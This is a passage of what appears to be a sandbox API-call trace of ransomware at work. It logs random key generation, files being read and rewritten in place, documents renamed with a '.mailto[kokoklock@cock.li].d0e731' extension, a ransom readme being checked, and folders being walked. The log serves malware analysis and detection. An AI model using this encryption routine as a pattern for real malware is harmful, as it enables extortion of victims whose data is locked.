0xc346c609 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x6884fb67 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xc080430f [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x2af95030 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x8b193d97 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xece5824f [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x89f0b009 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x41bf524c [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x62c99c28 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xab3464d7 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xe7120fb4 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xa9ce1351 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x836f3020 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x1c3746b0 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xd04f738a [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xb119db62 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x98d8b298 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x1177d58 [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x2a3262ca [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x80230fe1 [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xd746b8b7 [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x91d9223a [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xccddf500 [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x2f80b644 [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x741f2511 [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x4c5104c1 [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xe7c98b4f [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xf0a65cb6 [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x2ca57d3c [0069.489] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0x16d563d [0069.504] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.504] ReadFile (in: hFile=0x76c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11f3f980, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11f3f980*=0x4096, lpOverlapped=0x0) returned 1 [0069.504] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1d0 [0069.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1d0) returned 1 [0069.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1d0 [0069.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf00 [0069.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bf00) returned 1 [0069.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.505] WriteFile (in: hFile=0x76c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11f3f980, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11f3f980*=0x4096, lpOverlapped=0x0) returned 1 [0069.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.505] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x15fef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.505] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11f3f9b8, lpOverlapped=0x0 | out: lpBuffer=0x342c1d0*, lpNumberOfBytesWritten=0x11f3f9b8*=0x20, lpOverlapped=0x0) returned 1 [0069.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1d0) returned 1 [0069.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.505] WriteFile (in: hFile=0x76c, lpBuffer=0x342baf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11f3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x342baf0*, lpNumberOfBytesWritten=0x11f3f9cc*=0x8, lpOverlapped=0x0) returned 1 [0069.505] WriteFile (in: hFile=0x76c, lpBuffer=0x11f3f9e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11f3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x11f3f9e4*, lpNumberOfBytesWritten=0x11f3f9cc*=0x4, lpOverlapped=0x0) returned 1 [0069.505] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11f3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11f3f9cc*=0x4, lpOverlapped=0x0) returned 1 [0069.505] WriteFile (in: hFile=0x76c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11f3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11f3f9cc*=0x6c, lpOverlapped=0x0) returned 1 [0069.506] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11f3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x342c1a8*, lpNumberOfBytesWritten=0x11f3f9cc*=0x20, lpOverlapped=0x0) returned 1 [0069.506] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11f3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11f3f9cc*=0x4, lpOverlapped=0x0) returned 1 [0069.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0069.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0069.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342baf0) returned 1 [0069.506] CloseHandle (hObject=0x76c) returned 1 [0069.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x347bd38 [0069.509] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx" [0069.509] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" [0069.509] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ltkdjj.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ltkdjj.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.510] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0069.510] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx", dwFileAttributes=0x20) returned 0 [0069.510] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.510] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.510] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.510] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430a18) returned 1 [0069.510] RtlExitUserThread (Status=0x1) Thread: id = 420 os_tid = 0x105c [0069.512] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp" (normalized: "c:\\users\\fd1hvy\\documents\\mvtstnwabyt1ajl.odp")) returned 0x20 [0069.512] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp", dwFileAttributes=0x20) returned 1 [0069.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp" (normalized: "c:\\users\\fd1hvy\\documents\\mvtstnwabyt1ajl.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x76c [0069.512] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x11fbfe1c | out: lpFileSize=0x11fbfe1c*=40268) returned 1 [0069.512] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x9d48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.513] ReadFile (in: hFile=0x76c, lpBuffer=0x11fbfdf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11fbfdec, lpOverlapped=0x0 | out: lpBuffer=0x11fbfdf0*, lpNumberOfBytesRead=0x11fbfdec*=0x4, lpOverlapped=0x0) returned 1 [0069.513] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf00 [0069.513] NtQuerySystemTime (in: CurrentTime=0x11fbfdc8 | out: CurrentTime=0x11fbfdc8*=132121176274004599) returned 0x0 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xd6a4d74c [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x3af8e35f [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x1c4843cb [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xb5e9d7f8 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xf30acf0 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xa2ca4f9a [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xc481beb9 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x5b7eba6e [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x1770b54e [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x9161af3a [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xa8182f26 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x95f7d32d [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xb83564b5 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x7705a1ef [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x5ff0090e [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xee0f8996 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x3de4bbd3 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x9189073b [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x87d05d5a [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x4b24cdfe [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x5042c1c7 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xd1dfe066 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x7e051086 [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xd5d2429f [0069.513] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x9188e4b6 [0069.514] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x3d005c48 [0069.514] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xe8509cda [0069.514] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x968d2f82 [0069.514] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xaa0e5b7c [0069.514] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x8ab2e3c2 [0069.514] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0x4fa63d76 [0069.514] RtlRandom (in: Seed=0x11fbfdd4 | out: Seed=0x11fbfdd4) returned 0xf85cb29b [0069.524] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.525] ReadFile (in: hFile=0x76c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11fbfda0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11fbfda0*=0x4096, lpOverlapped=0x0) returned 1 [0069.525] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf28 [0069.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bf28) returned 1 [0069.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.526] WriteFile (in: hFile=0x76c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11fbfda0, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11fbfda0*=0x4096, lpOverlapped=0x0) returned 1 [0069.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.526] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x9d4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.526] WriteFile (in: hFile=0x76c, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11fbfdd8, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x11fbfdd8*=0x20, lpOverlapped=0x0) returned 1 [0069.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.526] WriteFile (in: hFile=0x76c, lpBuffer=0x342baf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11fbfdec, lpOverlapped=0x0 | out: lpBuffer=0x342baf0*, lpNumberOfBytesWritten=0x11fbfdec*=0x8, lpOverlapped=0x0) returned 1 [0069.526] WriteFile (in: hFile=0x76c, lpBuffer=0x11fbfe04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11fbfdec, lpOverlapped=0x0 | out: lpBuffer=0x11fbfe04*, lpNumberOfBytesWritten=0x11fbfdec*=0x4, lpOverlapped=0x0) returned 1 [0069.526] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11fbfdec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11fbfdec*=0x4, lpOverlapped=0x0) returned 1 [0069.526] WriteFile (in: hFile=0x76c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11fbfdec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11fbfdec*=0x6c, lpOverlapped=0x0) returned 1 [0069.526] WriteFile (in: hFile=0x76c, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11fbfdec, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x11fbfdec*=0x20, lpOverlapped=0x0) returned 1 [0069.526] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11fbfdec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11fbfdec*=0x4, lpOverlapped=0x0) returned 1 [0069.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342baf0) returned 1 [0069.527] CloseHandle (hObject=0x76c) returned 1 [0069.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e63d8 [0069.531] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp") returned="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp" [0069.531] wcscat (in: _Dest=0x33e63d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" [0069.531] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp" (normalized: "c:\\users\\fd1hvy\\documents\\mvtstnwabyt1ajl.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\mvtstnwabyt1ajl.odp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.533] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0069.533] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp", dwFileAttributes=0x20) returned 0 [0069.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426d90 [0069.533] wcscpy (in: _Dest=0x3426d90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.533] wcscat (in: _Dest=0x3426d90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.533] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d90) returned 1 [0069.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427000) returned 1 [0069.534] RtlExitUserThread (Status=0x1) Thread: id = 421 os_tid = 0x1064 [0069.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430f98 [0069.534] wcscpy (in: _Dest=0x3430f98, _Source="C:\\Users\\FD1HVy\\Documents\\My Music" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Music") returned="C:\\Users\\FD1HVy\\Documents\\My Music" [0069.534] wcscat (in: _Dest=0x3430f98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Music\\") returned="C:\\Users\\FD1HVy\\Documents\\My Music\\" [0069.534] wcscat (in: _Dest=0x3430f98, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Music\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Music\\*" [0069.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429c68 [0069.534] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music\\*", lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429c68) returned 1 [0069.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f98) returned 1 [0069.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481028) returned 1 [0069.535] RtlExitUserThread (Status=0x0) Thread: id = 422 os_tid = 0x1068 [0069.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430f98 [0069.536] wcscpy (in: _Dest=0x3430f98, _Source="C:\\Users\\FD1HVy\\Documents\\My Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Pictures") returned="C:\\Users\\FD1HVy\\Documents\\My Pictures" [0069.536] wcscat (in: _Dest=0x3430f98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Pictures\\") returned="C:\\Users\\FD1HVy\\Documents\\My Pictures\\" [0069.536] wcscat (in: _Dest=0x3430f98, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Pictures\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Pictures\\*" [0069.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429c68 [0069.536] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Pictures\\*", lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429c68) returned 1 [0069.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f98) returned 1 [0069.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431150) returned 1 [0069.536] RtlExitUserThread (Status=0x0) Thread: id = 423 os_tid = 0x1070 [0069.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430f98 [0069.537] wcscpy (in: _Dest=0x3430f98, _Source="C:\\Users\\FD1HVy\\Documents\\My Shapes" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes" [0069.537] wcscat (in: _Dest=0x3430f98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\" [0069.537] wcscat (in: _Dest=0x3430f98, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*" [0069.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429c68 [0069.537] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*", lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, 